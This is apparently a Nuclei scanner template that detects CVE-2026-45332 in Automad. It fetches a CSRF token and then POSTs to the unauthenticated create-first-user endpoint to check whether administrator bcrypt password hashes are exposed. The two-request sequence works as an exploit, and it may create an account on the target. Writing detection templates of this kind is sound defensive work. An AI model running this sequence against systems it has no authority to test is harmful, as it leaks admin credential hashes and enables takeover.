Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure

id: CVE-2026-45332

info:
  name: Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure
  author: str4k3r
  severity: high
  description: |
    Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.
  impact: |
    Unauthenticated attackers can retrieve bcrypt password hashes of all administrator accounts, risking credential compromise and full system takeover.
  remediation: |
    Upgrade to version 2.0.0-beta.28 or later.
  reference:
    - https://github.com/marcantondahmen/automad/security/advisories/GHSA-xm76-r88j-vm3g
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45332
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-45332
    epss-score: 0.0134
    epss-percentile: 0.69237
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    product: automad
    vendor: marcantondahmen
  tags: cve,cve2026,automad,exposure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /dashboard/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        internal: true
        regex:
          - 'name="csrf" content="([a-f0-9]+)"'

  - raw:
      - |
        POST /_api/user-collection/create-first-user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __csrf__={{csrf_token}}&username=nuclei_check&password1=Nuclei-Check-Pw1!&password2=Nuclei-Check-Pw1!&email=nuclei-check%40example.local

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'passwordHash'
          - 'accounts.php'
        condition: and

      - type: status
        status:
          - 200
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